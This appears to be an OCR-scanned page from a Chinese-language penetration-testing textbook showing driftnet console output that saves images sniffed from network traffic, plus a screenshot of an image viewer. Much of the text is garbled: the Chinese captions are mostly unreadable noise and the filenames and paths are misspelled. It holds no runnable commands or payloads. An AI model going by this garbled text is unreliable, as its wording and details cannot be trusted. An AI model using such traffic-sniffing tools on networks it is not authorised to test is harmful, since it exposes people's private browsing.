driftnet: saving “/tmp/drifnet-YbOziqg/driftnet-53c9d4d92a6de806.png’ as "driftnet-3.png’

driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53¢9d4d92a6de806.png' as "driftnet-4.png'
driftnet: saving “/tmp/drifnet-YbOzig/driftnet-53c9d5351a9a9e69.png' as "driftnet-5.png'

M BT ELE 2], /A7 T drifmet Fli3REN1 7 KB o 04205008 drifinet-+ png,
H HIX B SCAFERINORAT 20T F ok T
(7) M BMEH] Linux A B ERSEE, WIE 9.53 P,

* 310



9 E JpE MR EENA

driftnet-4.jpeg | - [0 | X

ER(1) “WiE(E)

B
AHR :
driftnet-4.jpeg

RE:
121 #7

o ' PENETRATION TESTING
xR pEmEEINED

JPEG Image
SR 2
11.1 KB

R

121 x 75 @& 111 KB 400%

P 953 fRMOEA

(8) VTR SR IR A PAREE o JTP o D e F—sk” 3 < b—dk” fedl,
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